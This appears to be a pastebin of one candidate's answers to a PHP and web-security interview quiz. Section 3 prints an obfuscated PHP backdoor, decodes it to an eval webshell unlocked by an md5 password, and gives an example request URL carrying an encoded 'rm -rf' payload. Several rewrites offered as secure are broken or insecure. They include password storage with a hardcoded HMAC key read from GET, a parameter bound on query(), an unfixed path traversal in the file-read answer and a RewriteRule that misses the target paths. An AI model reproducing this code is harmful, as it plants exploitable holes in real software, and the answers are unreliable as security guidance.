· 7 years ago · Jun 03, 2018, 07:08 PM
12-PHP code analysis</h4>
2
3You are working on a specific code base and you see this entry:
4
5 if(isset($_POST['email']))
6 {
7 $email_input = trim(htmlspecialchars($_POST['email']));
8 // Run email command to notify user of account creation
9 system("/opt/app/accounts/notifynew.sh $email_input");
10 }
11
12Do you see any performance or security issue in there? Would you re-write it? Why? How?
13
14
15 ⃠I am assuming that the email has not been validated. should use filter_var($_POST[‘email’], FILTER_SANITIZE_EMAIL).
16 ⃠Unless the script is used in command line. Use system functions is a huge security risk.
17 ⃠I would re-write it as follows:
18
19if (!isset($_POST[‘email’])) {
20 throw error (‘Email address was not provided’); //Or show a flash message/ Ajax return email error
21}
22
23$email_input = filter_var($email, FILTER_SANITIZE_EMAIL);
24if (!preg_match('/^(?P<name>(?:"?([^"]*)"?\s)?)(?:\s+)?(?:(?P<open><?)((?P<local>.+)@(?P<domain>[^>]+))(?P<close>>?))$/i', $email_input, $email_matches)) {
25 throw error (‘Invalid email address’); //Or show a flash message/ Ajax return email error
26}
27
28if ($email_matches[‘local’] > 64) {
29 throw error (‘User name of the email address is too long’); //Or show a flash message/ Ajax return email error
30}
31
32if($email_matches[‘domain’] > 254) {
33 throw error(‘Domain of the email address provided is too long’); //Or show flash message/ Ajax return email error
34}
35
36//Depending on the framework or php version.
37// I would require_once the file or use the namespace to send the email for the new user
38// This would be outside of the class of course. (With the exception of require_once, which we can load when the code gets to
39//it instead of the beginning of the class or file
40require_once(“/opt/app/accounts/notifynew.shâ€);
41//or
42use \Opt\App\Accounts\NotifyNew;
43
44//Assuming NotifyNew can be converted to a class and can notify SMS and other user identifiers
45NotifyNew::Email($email_input);
46
47
48
493-PHP decoding
50
51Some times to write code to detect malware, we also need to be able to decode them. Can you decode this piece of text and let us know what it does? What would you do to automate decoding them when parsing a PHP file?
52
53/*amOmMQfUYVN0OxwwRjomMCHT1A0KOZXoCl
542wjQHwPWkBI2lxexzlHpmH12gOgizxwrkV
55INEsONk1AEozqvfS3WJZkp8aduIDGFvOS18hDhXDmC4S
56kqvuFWaCx4x674BsHUiF2lmPoORhhF8Hws32FS
57LrxIkz1sJZxBAaQpoiNLoKTa3MR9eM1q4ozedpNmEBnFb5uG
58*/
59//miBy10TC1A7ezb8fokkqNqHIaOlZhthJ
60$IPwXsveV='p'. 'reg_replac'.'e'; $ivAqSMVn="rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V"; $IPwXsveV($ivAqSMVn, "P2aIsq04NK9Ymr8IIz6AuNiV8WclRl6hcVpKCoEPyDnbulj3ae4Lrchpy0RGkMnDhTNk8S1wVeNGFx0fR4r0VOpKN7QyI42qMFQKXG8skLyp9xLQr4QCH6MV2cJAWAqjF8udDrLo4AU3ygIfZZhgUu3MMBMjC3IHz3l4kwhdx3VmYeHx4pU"^"5D\x00\x25\x5bSYRf\x22J\x2a\x08\x06\x10\x15\x15\x5ei\x13\x30\x1f\x3c\x13k\x038K1\x04\x115JvVmcG\x284Ll2\x3eQ38v\x30\x30q\x1f\x268O\x13\x11\x17\x0fnKpSdO\x60\x2dX\x0a7\x05N2Wws\x7fOQ\x044V\x40UezAy\x2d\x072\x1a\x2d\x02\x0b\x14\x7eaxk\x7ea\x18\x1a\x18\x3f\x1c\x04\x11\x24\x10u\x2df\x14\x12\x 1ds\x1e\x02iD\x3a\x29\x27\x1e\x12\x05\x22\x5dR9m\x5bl\x14\x14\x24\x23R\x15O\x15\x3a\x7e\x05\x3a\x22\x04\x20v\x1e\x19\x 19j\x1a\x2bC\x16\x2b\x15W\x09\x136\x5eSD\x1dK\x3f\x19qLsXIR\x7c", "yHdPJUPGuHdshLXM");
61
62
63I was able to decode the actual Php code. However, I was unable to decode the multiline and single line commented text nor the variable names (I think they may have been jibber jabber):
64
65The first variable assigns preg_replace to a variable :
66$IPwXsveV='p'. 'reg_replac'.'e';
67
68The second variable assigns the pattern to search for with an ascii mask :
69$ivAqSMVn="rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V";
70
71which when echo’d becomes:
72$ivAqSMVn = “/yHdPJUPGuHdshLXM/eâ€;
73
74Lastly, the variable that was assigned the preg_replace function is used to replace the pattern with the subject.
75$IPwXsveV='p'. 'reg_replac'.'e';
76
77$pattern = "rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V";
78
79$replacement = "P2aIsq04NK9Ymr8IIz6AuNiV8WclRl6hcVpKCoEPyDnbulj3ae4Lrchpy0RGkMnDhTNk8S1wVeNGFx0fR4r0VOpKN7QyI42qMFQKXG8skLyp9xLQr4QCH6MV2cJAWAqjF8udDrLo4AU3ygIfZZhgUu3MMBMjC3IHz3l4kwhdx3VmYeHx4pU"^"5D\x00\x25\x5bSYRf\x22J\x2a\x08\x06\x10\x15\x15\x5ei\x13\x30\x1f\x3c\x13k\x038K1\x04\x115JvVmcG\x284Ll2\x3eQ38v\x30\x30q\x1f\x268O\x13\x11\x17\x0fnKpSdO\x60\x2dX\x0a7\x05N2Wws\x7fOQ\x044V\x40UezAy\x2d\x072\x1a\x2d\x02\x0b\x14\x7eaxk\x7ea\x18\x1a\x18\x3f\x1c\x04\x11\x24\x10u\x2df\x14\x12\x1ds\x1e\x02iD\x3a\x29\x27\x1e\x12\x05\x22\x5dR9m\x5bl\x14\x14\x24\x23R\x15O\x15\x3a\x7e\x05\x3a\x22\x04\x20v\x1e\x19\x19j\x1a\x2bC\x16\x2b\x15W\x09\x136\x5eSD\x1dK\x3f\x19qLsXIR\x7c";
80
81var_dump($IPwXsveV($pattern,
82 $replacement,
83 $subject) );
84
85Outputting :
86eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '4c32d49d29497abfb2e3512c0ccd69e3') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }")
87
88The code that is generated uses the php super global to $_REQUEST in order to retrieve and test against the ‘ch’ and ‘php_code’ parameters. The $_REQUEST variable is used to ensure that the parameters are captured regardless of whether the request is a $_GET or a $_POST.
89
90By itself the code isn’t of much use until someone sends php code in the request with the appropriate md5 hash. For example (the parameter values would be :
91http://pastebin.com/?ch=4c32d49d29497abfb2e3512c0ccd69e3&php_code=%3C%3Fphp%20exec%28%E2%80%9Ccd%20~%3B%20rm%20-rf%3B%E2%80%9D%29%3B%3F%3E
92
93In order to automate the process of finding files with the similar code. I would regex for strings that contain ascii codes that are and are not proceeded by “^â€.
94
95
96
97
984-Secure Coding practices
99
100When building a authentication system, how would you store the user passwords? Let's say we have a form to create an account and that is passing the user + pass via POST:
101
102 $_POST['user']
103 $_POST['pass']
104
105<p>Now we need a function to store them securely. How would you do that function?</p>
106
107private function actionCreateUser ()
108{
109 // For variable life span I like to put the variables that I am going to use by the code
110 // that uses it
111 $username = (isset($_GET['user']) ? $_GET['user'] : '');
112 $password = (isset($_GET['pass']) ? $_GET['pass'] : '');
113
114 $response = array(“status_code†=> null,
115 “response†=> null);
116 // Make sure we dont do empty username/passwords
117 // We are going to rely on the database to ensure that max length
118 // and other column attributes are respected
119 if (!isset($username, $password))
120 {
121 $response[“status_codeâ€] = 422;
122 $response[‘response’] = ‘Please provide both a username and password’;
123 return $response;
124 }
125
126 if (!preg_match('/^[A-Za-z]{1}[A-Za-z0-9]{8, 15}$/‘, $username))
127 {
128 $response[“status_codeâ€] = 422;
129 $response[‘response’] = ‘Invalid username format’;
130 return $response;
131 }
132
133 $secret_key = 's3cr3t_k3y';
134 $password = hash_hmac(‘sha512’, $password, $secret_key);
135 try
136 {
137 // Get username and password while protecting against sql injections
138 $statement = $pdo->query("SELECT * FROM users WHERE username = :username");
139 $statement->bindParam(':username', $username, PDO::PARAM_STR);
140 $statement->execute();
141 if (count($statement->fetchAll()) == 1)
142 {
143 $response[“status_codeâ€] = 422;
144 $response[‘response’] = ‘Please provide both a username and password’;
145 return $response;
146 }
147
148 $insert = $pdo->prepare("INSERT INTO users (username, password) VALUES ( :username , :password);");
149 $insert->bindParam(':username', $username, PDO::PARAM_STR);
150 $insert->bindParam(':password', $password, PDO::PARAM_STR, 11);
151 $insert->execute();
152 } catch (PDOException $e)
153 {
154 $response[“status_codeâ€] = 422;
155 $response[‘response’] = $e->getMessage();
156 return $response;
157 }
158
159 $response[“status_codeâ€] = 200;
160 $response[‘response’] = ‘Username and Password saved’;
161 return $response;
162}
163
164
165
1665-Dev ops
167
168You just pushed some changes to the server and now all pages are giving a 503 (internal server error). What steps would you take to fix the error and understand what is going on?
169
170First, if it is on a production server. I would check to see if the code has been fully pushed live.If the servers are load-balanced and it seems intermittent then I would think that only one server has the problem. I normally prefer to push the code live to one production server and test before I push it across all servers or boot new instances for the live code. That way I can find out if the code works in a production environment before it is actually live.
171
172Next I would revert the code immediately to prevent to much down time which would decrease the user experience and on can effect transactions.
173
174if the server is still showing errors, I would check to see if a script / cronjob / or process is running that is running that may hog resources. If this is the issue, I would restart the server(s).
175
176I would also check to see if the database is up and if connections are not getting refused because of too many connection issues. If so I would reboot the database. (A lot of pages are database intensive especially when logins are used).
177
178
179If the reverted code worked then I would create a production level server internally for testing and push the code there.
180
181If the new production level server has the issue then I would, display all errors and cycle through a number of pages to see what errors appear in the error log.
182
183If it is a coding error (syntax), I would fix it on the temporary production server to see if it worked. If it did I would create a hot fix locally , test it and push it to the temporary production server for one more test (just for redundancy). Then i would clone that production server and take the other servers off line or if they are load balanced, I would push the new production code to one production server that I took offline. If it works then i would push the code to all of the existing servers and reattach the production server that i detached from the load balancer.
184
185
186
187
1886-Code review
189
190Do you see anything wrong with this code? It was found inside a php file that we were reviewing.
191
192 if(isset($_GET['page']))
193 {
194 $_GET['page'] = htmlspecialchars($_GET['page']);
195 echo '<title>'.$_GET['page'].'</title>';
196 }
197 else
198 {
199 $_GET['page'] = "index";
200 echo '<title>Welcome to site </title>';
201 }
202
203 $content = file_get_contents("/site/content/".$_GET['page']);
204 echo htmlspecialchars($content);
205 ..
206
207If there is an issue, how would you fix it?
208
209First, I would not reset the value of $_GET[‘page’]. It can cause issues with the purity of the $_GET request. I tend to treat HTTP superglobals as immutable constants (with the exception of superglobals like $_SESSION). Instead I would set $_GET[‘page’] as such :
210
211$page = htmlspecialchars($_GET[‘page’]);
212
213If this is done within a framework, then I would use the framework for returning values that were in the request.
214Also, if this was done inside a class method, I wouldn’t echo out the response, nor would I echo html from a class method unless very special conditions.
215
216return $page;
217
218or to make it more brief:
219
220return htmlspecialchars($_GET[‘page’]);
221
222Also, I would check if the file_get_contents actually returns something. The resulting code may look something like this:
223
224$page = ‘index’;
225$title = “<title>$page</title>â€;
226if (isset($_GET[‘page’])
227{
228 $page = htmlspecialchars($_GET[‘page’]);
229 $title = “<title>$page</title>â€;
230}
231
232echo $title . htmlspecialchars(file_get_contents(‘/site/content/“ . $page));
233
234Additionally, If this a WYSIWYG, I don’t think it should return the special characters because it may effect the look of the web page that we are trying to display. So I suppose it depends on the usage for $title and $content and whether I would use htmlspecialchars or not.
235
236
237*NOTE: I tend to stick to the coding style of the code that I am modifying or the practices of the development department. So
238some of the changes are based on previous places and best practices that I have learned but are subject to change in order to make sure that the code that I am modifying maintains a level of readability.
239
240
241
242
2437- Regex
244
245Say you are a firewall analyst and you need to block all access to these 3 vulnerable URLs: "/admin/scripts/vuln.php", "/admin/scripts/unsafe.php" and "/admin/lib/blocked.php" What Regex (regular expression) would you use to block it?
246
247In the .htaccess or the virtual host. (virtual host if I want to prevent the application from starting to prevent access to those pages).
248
249RewriteEngine On
250RewriteRule ^(admin/(scripts/|vuln|unsafe)|(lib/blocked)\.php) - [F,L,NC]
251
252
253What if you have 1,000 different paths to block? What steps would you take?
254
255If I had a 1,000 different paths to block ( I would have thought about placing all of those blocked paths in a single directory in order to make my life less difficult). However, I would think that the best way to block 1,000 plus different paths is via a database so that the list is easily maintainable, scalable and accessible to only those who need it.